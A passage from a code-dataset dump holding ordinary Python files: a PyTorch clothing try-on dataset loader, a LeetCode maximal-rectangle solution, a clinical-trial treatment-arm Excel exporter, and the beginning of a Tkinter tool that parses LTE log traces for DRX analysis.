torch.from_numpy(human1_pose)\n\n human2_pose_name = h2_name.replace('.jpg', '_keypoints.json')\n with open(os.path.join(self.path, \"human_pose\", human2_pose_name), \"r\") as f:\n pose_label = json.load(f)\n human2_pose = self.transform_keypoints(pose_label)\n human2_pose_map = self.transform_pose(human2_pose)\n human2_pose = torch.from_numpy(human2_pose)\n \n result = {\n \"human1_name\": h1_name,\n \"human2_name\": h2_name,\n \"c_name\": c_name,\n \"clothes\": c,\n \"human1\": h1,\n \"human2\": h2,\n \"human1_pose\": human1_pose,\n \"human2_pose\": human2_pose,\n \"human1_pose_map\": human1_pose_map,\n \"human2_pose_map\": human2_pose_map,\n }\n \n return result\n\nif __name__ == \"__main__\":\n \n import argparse\n parser = argparse.ArgumentParser()\n parser.add_argument(\"--root\", default=\"../data\")\n parser.add_argument(\"--mode\", default=\"try\")\n parser.add_argument(\"--datalist\", default=\"all_files.txt\")\n parser.add_argument(\"--radius\", default=8)\n parser.add_argument(\"--w\", default=192)\n parser.add_argument(\"--h\", default=288)\n parser.add_argument(\"--batch_size\", default=2)\n parser.add_argument(\"--parse_channel\", default=20)\n opt = parser.parse_args()\n \n dataset = ClothesDataset(opt)\n # dataloader = DataLoader(dataset, batch_size=opt.batch_size, shuffle=True, pin_memory=True)\n dataloader = DataLoader(dataset, batch_size=opt.batch_size, shuffle=True)\n print('Size of the dataset: %d, dataloader: %d' %(len(dataset), len(dataloader)))\n # item = dataset.__getitem__(0)\n\n data_iter = iter(dataloader)\n batch = data_iter.next()\n\n c = batch['clothes']\n h1 = batch['human1']\n h2 = batch['human2']\n h1_p = batch['human1_pose']\n h2_p = batch['human2_pose']\n h1_pm = batch['human1_pose_map']\n h2_pm = batch['human2_pose_map']\n","sub_path":"ClothesDataset.py","file_name":"ClothesDataset.py","file_ext":"py","file_size_in_byte":6218,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"15255067","text":"#\n# @lc app=leetcode id=85 lang=python3\n#\n# [85] Maximal Rectangle\n#\n# https://leetcode.com/problems/maximal-rectangle/description/\n#\n# algorithms\n# Hard (32.58%)\n# Total Accepted: 114.8K\n# Total Submissions: 351.3K\n# Testcase Example: '[[\"1\",\"0\",\"1\",\"0\",\"0\"],[\"1\",\"0\",\"1\",\"1\",\"1\"],[\"1\",\"1\",\"1\",\"1\",\"1\"],[\"1\",\"0\",\"0\",\"1\",\"0\"]]'\n#\n# Given a 2D binary matrix filled with 0's and 1's, find the largest rectangle\n# containing only 1's and return its area.\n# \n# Example:\n# \n# \n# Input:\n# [\n# ⁠ [\"1\",\"0\",\"1\",\"0\",\"0\"],\n# ⁠ [\"1\",\"0\",\"1\",\"1\",\"1\"],\n# ⁠ [\"1\",\"1\",\"1\",\"1\",\"1\"],\n# ⁠ [\"1\",\"0\",\"0\",\"1\",\"0\"]\n# ]\n# Output: 6\n# \n# \n#\nclass Solution:\n # dp. \n # 优先考虑height。 在高度最大的情况下，计算可以容许的最大宽度，进而得到最大面积\n def maximalRectangle(self, matrix: List[List[str]]) -> int:\n m = len(matrix)\n if m == 0: return 0\n n = len(matrix[0])\n max_area = 0\n height = [0]*n\n left = [0]*n # left, right [l, r)\n right = [n]*n\n for i in range(m):\n curr_left, curr_right = 0, n\n # calculate the maximum height of the item so far\n for j in range(n):\n if matrix[i][j] == \"1\":\n height[j] += 1\n else:\n height[j] = 0\n for j in range(n):\n if matrix[i][j] == \"1\":\n left[j] = max(left[j], curr_left)\n else: # there's no left boundary, we just set it to zero\n # when mutiplied with the height[i][j], which is zero, the area is zero\n left[j] = 0\n curr_left = j+1\n for j in range(n-1, -1, -1):\n if matrix[i][j] == \"1\":\n right[j] = min(right[j], curr_right)\n else: # there's no right boundary, we just set it to n\n # when mutiplied with the height[i][j], which is zero, the area is zero\n right[j] = n\n curr_right = j\n # print(height, left, right)\n for j in range(n):\n max_area = max(max_area, height[j] * (right[j]-left[j]))\n \n return max_area\n\n","sub_path":"85.maximal-rectangle.py","file_name":"85.maximal-rectangle.py","file_ext":"py","file_size_in_byte":2227,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"300799892","text":"import copy\nimport logging\n\nfrom helpers.excel_generator import ExcelGenerator\n\nARM_OVERVIEW_BOLD_COLUMNS = [1, 3, 5, 7]\nARM_OVERVIEW_HEADING = \"ARM Data\"\n\nNONSTANDARD_PARSERS = {\n \"EAY131-A\": \"Eay131a\",\n \"EAY131-I\": \"Eay131i\",\n \"EAY131-IX1\": \"Eay131i\",\n \"EAY131-J\": \"Eay131j\",\n \"EAY131-K1\": \"Eay131k1\",\n \"EAY131-K2\": \"Eay131k2\",\n \"EAY131-L\": \"Eay131l\",\n \"EAY131-M\": \"Eay131m\",\n \"EAY131-N\": \"Eay131n\",\n \"EAY131-P\": \"Eay131p\",\n \"EAY131-Y\": \"Eay131y\",\n \"EAY131-Z1C\": \"Eay131z1c\",\n \"EAY131-Z1E\": \"Eay131z1e\",\n \"EAY131-Z1F\": \"Eay131z1f\",\n \"EAY131-Z1G\": \"Eay131z1g\",\n \"EAY131-Z1H\": \"Eay131z1h\",\n \"EAY131-Z1I\": \"Eay131z1i\",\n}\n\nDISEASE_EXCLUSION_HEADING = \"Histologic Disease Exclusion Codes\"\nDISEASE_EXCLUSION_MAP = [\n ('CTEP CATEGORY', 'ctepCategory'),\n ('CTEP SUB-CATEGORY', 'ctepSubCategory'),\n ('CTEP TERM', 'ctepTerm'),\n ('SHORT NAME', 'shortName'),\n ('MEDDRA CODE', '_id'),\n]\nDISEASE_EXCL_COLUMN_NAMES = [map_item[0] for map_item in DISEASE_EXCLUSION_MAP]\nDISEASE_EXCL_FIELD_NAMES = [map_item[1] for map_item in DISEASE_EXCLUSION_MAP]\nDISEASE_EXCLUSION_SOURCE = 'exclusionDiseases'\n\nPRIOR_THERAPY_HEADING = \"Prior Therapy (Drug Exclusion)\"\nPRIOR_THERAPY_MAP = [\n ('Drug ID', 'drugId'),\n ('Drug Name', 'name'),\n ('Drug ID 2', 'drugId2'),\n ('Drug Name', 'name2'),\n ('Description (Free form text)', 'description'),\n ('Class (agreed upon list)', 'drugClass'),\n ('Pathway (agreed upon list)', 'pathway'),\n ('Target Gene (agreed upon list)', 'target'),\n]\nPRIOR_THERAPY_COLUMN_NAMES = [map_item[0] for map_item in PRIOR_THERAPY_MAP]\nPRIOR_THERAPY_FIELD_NAMES = [map_item[1] for map_item in PRIOR_THERAPY_MAP]\nPRIOR_THERAPY_SOURCE = 'exclusionDrugs'\n\nIHC_RESULTS_HEADING = \"IHC Results\"\nIHC_RESULTS_MAP = [\n ('Gene', 'gene'),\n ('Status (POSITIVE, NEGATIVE, INDETERMINATE)', 'assayResultStatus'),\n ('Variant (PRESENT, NEGATIVE, EMPTY)', 'assayVariant'),\n ('Description', 'description'),\n ('LOE', 'levelOfEvidence'),\n]\nIHC_RESULTS_COLUMN_NAMES = [map_item[0] for map_item in IHC_RESULTS_MAP]\nIHC_RESULTS_FIELD_NAMES = [map_item[1] for map_item in IHC_RESULTS_MAP]\nIHC_RESULTS_SOURCE = 'assayResults'\n\nINCL_NONHOTSPOT_RULES_HEADING = \"Inclusion Non-Hotspot Rules\"\nEXCL_NONHOTSPOT_RULES_HEADING = \"Exclusion Non-Hotspot Rules\"\nNONHOTSPOT_RULES_MAP = [\n ('Description', 'description'),\n ('Oncomine Variant Class', 'oncominevariantclass'),\n ('Gene Name', 'gene'),\n ('Exon', 'exon'),\n ('Function', 'function'),\n ('Level of Evidence', 'levelOfEvidence'),\n ('Literature Reference (Pubmed ID)', lambda var: \", \".join(var.get(\"publicMedIds\", []))), # is a list\n ('Special Rules', lambda var: \"TRUE\" if var.get('armSpecific', False) else \"\"),\n]\nNONHOTSPOT_RULES_COLUMN_NAMES = [map_item[0] for map_item in NONHOTSPOT_RULES_MAP]\nNONHOTSPOT_RULES_FIELD_NAMES = [map_item[1] for map_item in NONHOTSPOT_RULES_MAP]\n\nINCL_VARIANTS_HEADING = \"Inclusion Variants\"\nEXCL_VARIANTS_HEADING = \"Exclusion Variants\"\nVARIANTS_MAP = [\n ('Gene Name', 'geneName'),\n ('Variant ID', 'identifier'),\n ('Variant Type', 'type'),\n ('Variant Description', 'description'),\n ('Level of Evidence Code', 'levelOfEvidence'),\n ('Protein', 'protein'),\n ('Chromosome', 'chromosome'),\n ('Position', 'position'),\n ('Alt', 'alternative'),\n ('Ref', 'reference'),\n ('Literature Reference', lambda var: \", \".join(var.get(\"publicMedIds\", []))), # is a list\n ('Variant Source', lambda var: var.get(\"metadata\", {}).get(\"variantSource\", \"Subprotocol\")),\n ('Copy Number Threshold', lambda var: var.get(\"metadata\", {}).get(\"copyNumberThreshold\", \"\")),\n ('Special Rules', lambda var: \"TRUE\" if var.get('armSpecific', False) else \"\"),\n]\nVARIANTS_COLUMN_NAMES = [map_item[0] for map_item in VARIANTS_MAP]\nVARIANTS_FIELD_NAMES = [map_item[1] for map_item in VARIANTS_MAP]\n\n\ndef generate_treatment_arm_excel_file(treatment_arm_data):\n logging.debug(\"Generating Excel File for Treatment Arm {}\".format(treatment_arm_data['treatmentArmId']))\n\n eg = ExcelGenerator(treatment_arm_data['treatmentArmId'])\n\n add_sections_to_workbook(eg, treatment_arm_data)\n\n # returns the bytes to save as an Excel file\n return eg.get_workbook_data()\n\n\ndef add_sections_to_workbook(eg, treatment_arm_data):\n add_arm_overview_data(eg, treatment_arm_data)\n add_disease_exclusion_data(eg, treatment_arm_data)\n add_prior_therapy_data(eg, treatment_arm_data)\n add_ihc_results_data(eg, treatment_arm_data)\n add_variant_report_data(eg, treatment_arm_data)\n\n\ndef add_ihc_results_data(eg, treatment_arm_data):\n ihc_results_data = extract_data(treatment_arm_data, IHC_RESULTS_SOURCE, IHC_RESULTS_FIELD_NAMES)\n eg.add_section(ihc_results_data, column_names=IHC_RESULTS_COLUMN_NAMES,\n section_heading=IHC_RESULTS_HEADING, skip_rows=1)\n\n\ndef create_prior_therapy_data(exclusion_drug_data):\n drug_list = exclusion_drug_data.get('drugs', [])\n prior_therapy_data = copy.copy(drug_list[0]) if drug_list else {}\n if len(drug_list) > 1:\n prior_therapy_data['drugId2'] = drug_list[1].get('drugId', \"\")\n prior_therapy_data['name2'] = drug_list[1].get('name', \"\")\n return prior_therapy_data\n\n\ndef add_prior_therapy_data(eg, treatment_arm_data):\n prior_therapy_data = extract_data(treatment_arm_data, PRIOR_THERAPY_SOURCE, PRIOR_THERAPY_FIELD_NAMES,\n field_preprocessor=create_prior_therapy_data)\n eg.add_section(prior_therapy_data, column_names=PRIOR_THERAPY_COLUMN_NAMES,\n section_heading=PRIOR_THERAPY_HEADING, skip_rows=1)\n\n\ndef add_disease_exclusion_data(eg, treatment_arm_data):\n disease_exclusion_data = extract_data(treatment_arm_data, DISEASE_EXCLUSION_SOURCE, DISEASE_EXCL_FIELD_NAMES)\n eg.add_section(disease_exclusion_data, column_names=DISEASE_EXCL_COLUMN_NAMES,\n section_heading=DISEASE_EXCLUSION_HEADING, skip_rows=1)\n\n\ndef add_arm_overview_data(eg, treatment_arm_data):\n overview_data = extract_arm_overview_data(treatment_arm_data)\n eg.add_section(overview_data, bold_columns=ARM_OVERVIEW_BOLD_COLUMNS, section_heading=ARM_OVERVIEW_HEADING)\n\n\ndef extract_arm_overview_data(treatment_arm_data):\n\n treatment_arm_drug = treatment_arm_data.get(\"treatmentArmDrugs\", [{}])[0]\n treatment_arm_id = treatment_arm_data.get(\"treatmentArmId\", \"ARM ID MISSING!\")\n row1 = [\n \"Official Name\", treatment_arm_data.get(\"name\", \"ARM NAME MISSING!\"),\n \"ARM Id\", treatment_arm_id,\n \"ARM Drug\", treatment_arm_drug.get(\"name\", \"DRUG NAME MISSING!\"),\n \"Version\", treatment_arm_data.get(\"version\", \"VERSION MISSING!\"),\n ]\n row2 = [\n \"ARM Pathway Id\", \"\",\n \"ARM Pathway Name\", treatment_arm_drug.get(\"pathway\", \"\"),\n \"ARM Drug Id\", treatment_arm_drug.get(\"drugId\", \"DRUG ID MISSING!\"),\n \"Study Types\", ', '.join(treatment_arm_data.get(\"studyTypes\", [\"STUDY TYPES MISSING!\"])),\n ]\n row3 = [\n \"ARM Gene\", treatment_arm_data.get(\"gene\", \"\"),\n \"ARM Description\", treatment_arm_data.get(\"description\", \"ARM DESCRIPTION MISSING!\"),\n \"ARM Parser\", NONSTANDARD_PARSERS.get(treatment_arm_id, \"StandardParser\")\n ]\n return [row1, row2, row3]\n\n\ndef extract_data(treatment_arm_data, source, field_names, field_preprocessor=None):\n def get_field(var, field):\n if callable(field):\n return field(var)\n else:\n field_data = var.get(field, \"\")\n return field_data\n\n rows = []\n for field_object in treatment_arm_data.get(source, []):\n if field_preprocessor is not None: # sometimes the data needs a little massaging first\n field_object = field_preprocessor(field_object)\n\n row = [get_field(field_object, field_name) if field_name is not None else \"\" for field_name in field_names]\n rows.append(row)\n return rows\n\n\ndef extract_variant_report_data(treatment_arm_data):\n variant_report = treatment_arm_data['variantReport']\n\n excl_nhs_rules_data, incl_nhs_rules_data = extract_nonhotspot_rules_data(variant_report)\n\n excl_variants_data, incl_variants_data = extract_variants_data(variant_report)\n\n variant_report_data = {\n 'incl_nonhotspot_rules': incl_nhs_rules_data,\n 'excl_nonhotspot_rules': excl_nhs_rules_data,\n 'incl_variants': incl_variants_data,\n 'excl_variants': excl_variants_data,\n }\n\n return variant_report_data\n\n\ndef extract_variants_data(variant_report):\n\n snv_variants = [dict(**var, **{'type': 'SNV'}) for var in variant_report['singleNucleotideVariants']]\n cnv_variants = [dict(**var, **{'type': 'CNV'}) for var in variant_report['copyNumberVariants']]\n indel_variants = [dict(**var, **{'type': 'Indel'}) for var in variant_report['indels']]\n gf_variants = [dict(**var, **{'type': 'Fusion'}) for var in variant_report['geneFusions']]\n\n all_variants = snv_variants + cnv_variants + indel_variants + gf_variants\n\n excl_variants = [var for var in all_variants if not var.get('inclusion', True)]\n incl_variants = [var for var in all_variants if var.get('inclusion', True)]\n\n excl_variants_data = extract_data({'data': excl_variants}, 'data', VARIANTS_FIELD_NAMES)\n incl_variants_data = extract_data({'data': incl_variants}, 'data', VARIANTS_FIELD_NAMES)\n\n return excl_variants_data, incl_variants_data\n\n\ndef extract_nonhotspot_rules_data(variant_report):\n nonhotspot_rules = variant_report['nonHotspotRules']\n\n excl_nonhotspot_rules = [nhr for nhr in nonhotspot_rules if not nhr.get('inclusion', True)]\n incl_nonhotspot_rules = [nhr for nhr in nonhotspot_rules if nhr.get('inclusion', True)]\n\n excl_nhs_rules_data = extract_data({'data': excl_nonhotspot_rules}, 'data', NONHOTSPOT_RULES_FIELD_NAMES)\n incl_nhs_rules_data = extract_data({'data': incl_nonhotspot_rules}, 'data', NONHOTSPOT_RULES_FIELD_NAMES)\n\n return excl_nhs_rules_data, incl_nhs_rules_data\n\n\ndef add_variant_report_data(eg, treatment_arm_data):\n variant_report_data = extract_variant_report_data(treatment_arm_data)\n eg.add_section(variant_report_data['excl_nonhotspot_rules'], column_names=NONHOTSPOT_RULES_COLUMN_NAMES,\n section_heading=EXCL_NONHOTSPOT_RULES_HEADING, skip_rows=1)\n eg.add_section(variant_report_data['incl_nonhotspot_rules'], column_names=NONHOTSPOT_RULES_COLUMN_NAMES,\n section_heading=INCL_NONHOTSPOT_RULES_HEADING, skip_rows=1)\n eg.add_section(variant_report_data['excl_variants'], column_names=VARIANTS_COLUMN_NAMES,\n section_heading=EXCL_VARIANTS_HEADING, skip_rows=1)\n eg.add_section(variant_report_data['incl_variants'], column_names=VARIANTS_COLUMN_NAMES,\n section_heading=INCL_VARIANTS_HEADING, skip_rows=1)\n","sub_path":"helpers/treatment_arm_download_generator.py","file_name":"treatment_arm_download_generator.py","file_ext":"py","file_size_in_byte":10787,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"56787683","text":"#!/app/vbuild/RHEL6-x86_64/python/2.7.9/bin/python\n# -*- coding: utf-8 -*-\n\nfrom __future__ import print_function\nimport re\nimport math\nimport webbrowser\nimport sys\nimport os\nimport glob\nimport itertools\ntry:\n # for Python2\n from Tkinter import *\nexcept ImportError:\n # for Python3\n from tkinter import *\nfrom tkFileDialog import *\nimport tkMessageBox\n\nif os.path.isfile(sys.argv[1]):\n log_file = os.path.realpath(sys.argv[1])\nelse:\n log_file = raw_input('File entered does not exist. Please enter the correct path to a log file: ')\n\ntry:\n f = open(log_file, 'r')\nexcept IOError:\n print(\"Cannot open \" + log_file)\n sys.exit()\n\nues = []\n\nprint(\"Searching for all UEs from UPCDL.180 traces in the log file specified...\")\n\nfor line in f:\n if \"<!UPCDL.180!>\" in line:\n m = re.search(\"bbUeRef(=0x|=)([0-9,a-f]+)\", line)\n if m.group(2) not in ues:\n ues.append(m.group(2))\nf.close()\n\nmatches = []\n\ndef CurSelect(event):\n # CurSelect is used to return item selected from the Listbox\n global matches\n matches = [lb.get(idx) for idx in lb.curselection()]\n return matches\n\ndef close_window():\n root.destroy()\n\ndef stop():\n root.destroy()\n sys.exit()\n\ndef select_all():\n global matches\n global var\n global all_matches\n if var.get() == 1:\n all_matches = True\n lb.select_set(0, END)\n matches = [lb.get(idx) for idx in lb.curselection()]\n else:\n all_matches = False\n lb.select_clear(0, END)\n del matches[:]\n return matches\n\n\nroot = Tk()\nroot.title(\"DRX Tool\")\n\nins = Label(root, text=\"Please select the UEs you would like to execute the drx tool on.\", font=(\"Times New Roman\", 14))\nins.pack(side=\"right\")\n\ngetBut = Button(root, text='Run', font=(\"Times New Roman\", 12), command = close_window)\ngetBut.pack(side=\"bottom\")\n\nvar = IntVar()\nc = Checkbutton(root, text=\"All UEs\", variable=var, command = select_all)\nc.pack(side=\"bottom\")\n\nsb = Scrollbar(root, orient=\"vertical\")\nsb.pack(side=LEFT, fill=Y)\n\ntitle = Label(root, text=\"UPCDL.180 UEs\", font=(\"Times New Roman\", 14, \"bold\"), relief=\"raise\", width=14)\ntitle.pack(anchor=\"w\")\n\nlb = Listbox(root, selectmode=MULTIPLE, width=26, yscrollcommand=sb.set)\n\nfor item in ues:\n lb.insert((ues.index(item))+1, item)\n\nlb.pack(fill=Y, side=LEFT)\nsb.config(command=lb.yview)\nlb.bind(\"<<ListboxSelect>>\", CurSelect)\n\nroot.protocol(\"WM_DELETE_WINDOW\", stop)\nroot.mainloop()\n\nif (len(matches) == 0) or (matches == None):\n root = Tk()\n root.withdraw()\n tkMessageBox.showinfo(\n \"Error\",\n \"No UEs selected.\"\n )\n sys.exit()\n\nFoldersExist = []\nfor match in matches:\n dirname = \".\" + os.sep + match + \"_\" + os.path.basename(log_file)\n if os.path.exists(dirname):\n root = Tk()\n root.withdraw()\n tkMessageBox.showinfo(\n \"Error\",\n \"DRX information regarding this UE(s) already exists under: \" + str(dirname)\n )\n root.update()\n FoldersExist.append(match)\n\nif len(FoldersExist) == len(matches):\n sys.exit()\n\nfor match in matches:\n if match in FoldersExist:\n print(\" Plot will not be updated for UE: \" + match + \". Files already exist under \" + dirname + \"\\n\")\n continue\n\n dirname = \".\" + os.sep + match + \"_\" + os.path.basename(log_file)\n f = open(log_file, 'r')\n os.makedirs(dirname)\n target = open(dirname + os.sep + match + \"_\" + os.path.basename(log_file) + \".log\", 'w')\n\n noOfTraceblocks = 0\n traceblock = []\n lastTime = 0\n storeTime = 0\n nrOfMatch = 0\n ues = []\n ue = 0\n bbUeRef_hex = int(match, 16)\n\n OrigSfnTimePrint = 0\n PrevOrigSfnTimePrint = 0\n sumValue = 0\n prevsumValue = 0\n inconsistency = 0\n timeDiff = 0\n prevTimeMs = 0\n prevSfnValue = 0\n prevline = None\n\n\n def checkTraceblock():\n global nrOfMatch\n global lastTime\n global storeTime\n myprint = 0\n\n global prevSfnValue\n global prevTimeMs\n global sumValue\n global prevsumValue\n global SfValue\n global OrigSfnTimePrint\n global PrevOrigSfnTimePrint\n global inconsistency\n global prevline\n\n\n for line in traceblock:\n m = re.search(\"[0-9]+:[0-9]+:([0-9]+.[0-9]+)\", line)\n m2 = re.search(\"sfn:([0-9]+)\", line)\n\n if (m and m2):\n TimeMs = float(m.group(1))\n SfnValue = int(m2.group(1))\n\n if SfnValue < prevSfnValue:\n sumValue += SfnValue\n else:\n sumValue += SfnValue - prevSfnValue\n\n if (TimeMs < prevTimeMs):\n timeDiff = 60 - math.fabs(TimeMs - prevTimeMs)\n else:\n timeDiff = math.fabs(TimeMs - prevTimeMs)\n\n if timeDiff >= 0.1:\n if (prevSfnValue is not 0) and (prevTimeMs is not 0):\n inconsistency = 1\n else:\n inconsistency = 0\n\n prevSfnValue = SfnValue\n\n if(inconsistency):\n target.write(\"TIME GAP > 10 MS\\n\")\n target.write(prevline)\n target.write(line)\n\n prevTimeMs = TimeMs\n prevsumValue = sumValue\n prevline = line\n\n m = re.search(\"^\\[[-: 0-9]+.([0-9]+)\\]\", line)\n if m:\n storeTime = m.group(1)\n\n # Check if the this line includes the specific match\n if (match in line) or (str(bbUeRef_hex) in line):\n myprint = 1\n nrOfMatch+=1\n\n # Extract the UE references in the log\n m = re.search(\"sessionRef=([0-9,a-f]+),\", line) or re.search(\"bbUeRef=0x([0-9,a-f]+)\", line) or re.search(\"bbUeRef=([0-9,a-f]+)\", line)\n if m:\n if m.group(1) not in ues:\n ue = m.group(1).replace(\",\", \"\")\n ues.append(ue) # new ueref, add to array...\n\n # check also bbBearerRef and determine the bbUeRef\n m = re.search(\"bbBearerRef(\\s|=)([0-9]+) \", line)\n if m:\n p = int(m.group(2)) & 0xFFFFFFE0\n if(p == match):\n line.rstrip()\n target.write(line + \"(bbUeRef=)\" + str(p))\n\n # Check if the current TraceBlock shall be included in the outputfile\n if myprint == 1:\n timediff = int(storeTime) - int(lastTime)\n timediff_mm = int(timediff/1000)\n lastTime = storeTime\n while timediff_mm >= 1:\n target.write(\"*\")\n timediff_mm-=1\n target.write(\"\\n\")\n target.write(\" \".join(traceblock))\n\n print(\"Running...\")\n for line in f:\n m = re.search(\"0x[0-9abcdef]+=\", line) or re.search(\"^\\[[-:. 0-9]+\\]\", line)\n if m: # example \"0x5051e916=\"\"\n noOfTraceblocks+=1\n checkTraceblock()\n del traceblock[:]\n traceblock.append(line)\n else:\n traceblock.append(line)\n\n print (\"\\n********** General Information for UE: \" + match + \"********************************************************\\n\")\n print (\" Total number of Traceblocks: %s\\n\" % noOfTraceblocks)\n print (\" Matched TraceBlocks: %i\\n\" % nrOfMatch)\n\n f.close()\n target.close()\n\n'''***************************************************************************************************************************************************************************************************************************\n******************************************************************************************************************************************************************************************************************************\n******************************************************************************************************************************************************************************************************************************'''\n\nfor match in matches:\n if match in FoldersExist:\n continue\n\n dirname = \".\" + os.sep + match + \"_\" + os.path.basename(log_file)\n f = open(dirname + os.sep + match + \"_\" + os.path.basename(log_file) + \".log\", 'r')\n DRXDLFILE = open(dirname + os.sep + match + \"_drx_dl.txt\", 'w')\n DRXFILE = open(dirname + os.sep + match + \"_rx_event_ul.txt\", 'w')\n DRXULFILE = open(dirname + os.sep + match + \"_drx_ul.txt\", 'w')\n RXPOWERPUSCHFILE = open(dirname + os.sep + match + \"_rxpower_pusch.txt\", 'w')\n ULNEWTBSFILE = open(dirname + os.sep + match + \"_ultbs_new.txt\", 'w')\n ULRETXTBSFILE = open(dirname + os.sep + match + \"_ultbs_retx.txt\", 'w')\n DLNEWFILE = open(dirname + os.sep + match + \"_dl_new.txt\", 'w')\n DLRETXFILE = open(dirname + os.sep + match + \"_dl_retx.txt\", 'w')\n DLTBSFILE = open(dirname + os.sep + match + \"_dltbs.txt\", 'w')\n PUCCHSRFILE = open(dirname + os.sep + match + \"_sr.txt\", 'w')\n ULSINRFILE = open(dirname + os.sep + match + \"_ulsinr.txt\", 'w')\n ULHARQACKFILE = open(dirname + os.sep + match + \"_ulharqack.txt\", 'w')\n ULHARQNACKFILE = open(dirname + os.sep + match + \"_ulharqnack.txt\", 'w')\n DRXUPDATEFILE = open(dirname + os.sep + match + \"_drxupdateind.txt\", 'w')\n DRXDLSKIPONDURATION = open(dirname + os.sep + match + \"_drxdl_skip_onduration.txt\", 'w')\n TIMESTAMP = open(dirname + os.sep + match + \"_timestamp.txt\", 'w')\n NEWDRXCONFIGINDEX = open(dirname + os.sep + match + \"_new_drx_config_index.txt\", 'w')\n NEWDRXSTARTOFFSET = open(dirname + os.sep + match + \"_new_drx_start_offset.txt\", 'w')\n NEWLONGDRXCYCLE = open(dirname + os.sep + match + \"_new_long_drx_cycle.txt\", 'w')\n DC_DT = open(dirname + os.sep + match + \"_dc_dt.txt\", 'w')\n INCONSISTENCY = open(dirname + os.sep + match + \"_inconsistency.txt\", 'w')\n\n noOfTraceBlocks = 0\n begin = 0\n traceblock = []\n storeTime = 0\n i = 0\n wrapDelay = 0\n\n srReceived = 0\n oldState = 0\n inactivity = 4\n drxLongCycle = 0\n drxShortCycle = 0\n drxShortUl = 2\n oldStateUl = 0\n oldInactivity = None\n oldInactivityUl = None\n inactivityUl = 4\n\n drxShort = 2\n oldShortCycleTimer = 0\n dtx = 0\n\n currentTimeTmp = None\n currentTime = None\n\n dlAllocInd = 0\n firstTime = 1\n newTti = 0\n missedTti = 0\n firstTti = 0\n lastTti = 0\n\n onType = 0\n\n dlDrxTraceAvailable = 0\n ulDrxTraceAvailable = 0\n\n ulMacCtrlInfo = None\n ulMeas2Ul = None\n ulAllocInd = None\n dlAllocInd = None\n\n validSample = None\n\n bfnTimePrint = None\n sfnTimePrint = None\n prevsfnTimePrint = None\n sfn = 0\n\n currentSfn = 0\n prevSfn = 0\n sumSfn = 0\n firstSfn = 1\n firstSfnValue = 0\n sfnWrap = 0\n\n prevTimeMs = 0\n prevSfnValue = 0\n\n OrigSfnTimePrint = 0\n PrevOrigSfnTimePrint = 0\n\n sumValue = 0\n prevsumValue = 0\n inconsistency = None\n timeDiff = 0\n\n prevline = ''\n\n TimeFinal = None\n TimeInit = None\n\n TimeGap = 0\n\n def timestamps2ms(timestamp):\n global currentTime\n global currentTimeTmp\n numbers = [0.1, 15, 61440]\n m = re.search(\"0x([\\dA-Fa-f]{3})([\\dA-Fa-f]{2})([\\dA-Fa-f]{3})\", timestamp)\n if m:\n t = [int(m.group(1), 16), int(m.group(2), 16), int(m.group(3), 16)]\n currentTimeTmp = 0.0\n for i in xrange(0, len(t)):\n currentTimeTmp += (t[i] / numbers[i])\n\n currentTime = int(currentTimeTmp)\n\n def getInfo(line):\n global TimeMs\n global sfnTimePrint\n global sfnWrap\n global firstSfn\n global sumSfn\n global prevSfn\n global firstSfnValue\n global currentSfn\n\n m = re.search(\"sfn:([0-9]+)\", line)\n m2 = re.search(\"sf:([0-9])\", line)\n m3 = re.search(\"[0-9]+:[0-9]+:([0-9]+.[0-9]+)\", line)\n\n currentSfn = int(m.group(1))\n sf = int(m2.group(1))\n TimeMs = float(m3.group(1))\n\n if firstSfn:\n firstSfn = 0\n firstSfnValue = currentSfn\n\n if currentSfn < prevSfn:\n sumSfn += currentSfn\n else:\n sumSfn += currentSfn - prevSfn\n\n sfnTimePrint = str(sumSfn) + str(sf)\n sfnWrap = int((sumSfn - currentSfn - firstSfnValue) / 1024)\n\n def gapDifference(line):\n global sfnTimePrint\n global prevsfnTimePrint\n global prevSfn\n global TimeMs\n global prevTimeMs\n global inconsistency\n\n if (TimeMs < prevTimeMs):\n timeDiff = 60 - math.fabs(TimeMs - prevTimeMs)\n else:\n timeDiff = math.fabs(TimeMs - prevTimeMs)\n\n if timeDiff >= 0.1:\n if (prevSfn is not 0) and (prevTimeMs is not 0):\n inconsistency = 1\n else:\n inconsistency = 0\n\n if(inconsistency):\n INCONSISTENCY.write(str(prevsfnTimePrint) + \" \" + str(timeDiff) + \"\\n\")\n INCONSISTENCY.write(str(sfnTimePrint) + \" \" + str(timeDiff) + \"\\n\")\n\n def checkTraceblock():\n global wrapDelay\n global storeTime\n global i\n global newTti\n global missedTti\n global firstTti\n global lastTti\n global ulMacCtrlInfo\n global ulMeas2Ul\n global ulAllocInd\n global dlAllocInd\n global validSample\n global oldState\n global drxShort\n global inactivity\n global dtx\n global oldInactivity\n global drxLongCycle\n global drxShortCycle\n global srReceived\n global oldShortCycleTimer\n global dlDrxTraceAvailable\n global ulDrxTraceAvailable\n global drxShortUl\n global oldStateUl\n global inactivityUl\n global firstTime\n global onType\n global bfnTimePrint\n global oldInactivityUl\n global UlL1Harqfdbk\n global dlHarqValid\n global TimeGap\n global prevline\n global startTimeGap\n global TimeInit\n global TimeFinal\n global prevSfn\n global prevsfnTimePrint\n global prevTimeMs\n global ALL\n global OFF\n\n tbsDl = 0\n tbsUl = 0\n ulRetx = 0\n ulNewTx = 0\n\n ############\n dlAllocInd = 0\n ulAllocInd = 0\n ulMacCtrlInfo = 0\n ulMeas2Ul = 0\n ulMeas2Ul = 0\n validSample = 0\n UlL1Harqfdbk = 0\n dlHarqValid = 0\n ############\n\n # Check each line in the TraceBlock for matching parts.\n for line in traceblock:\n\n #############################################################################\n # Extract SFN, SF, and Time stamp\n #############################################################################\n\n m = re.search(\"^\\[[-:. 0-9]+\\]\", line)\n if m:\n getInfo(line)\n\n #############################################################################\n # Extract Time Gap\n #############################################################################\n\n m = re.search(r'\\bTIME GAP > 10 MS\\b', line)\n if m:\n TimeGap = 1\n TimeInit = None\n TimeFinal = None\n\n elif((TimeGap) and (TimeInit is None)):\n TimeInit = TimeMs\n\n elif((TimeGap) and (TimeFinal is None) and (TimeInit is not None)):\n gapDifference(line)\n TimeGap = 0\n\n prevline = line\n prevSfn = currentSfn\n prevsfnTimePrint = sfnTimePrint\n prevTimeMs = TimeMs\n\n #############################################################################\n # Extract BFN\n 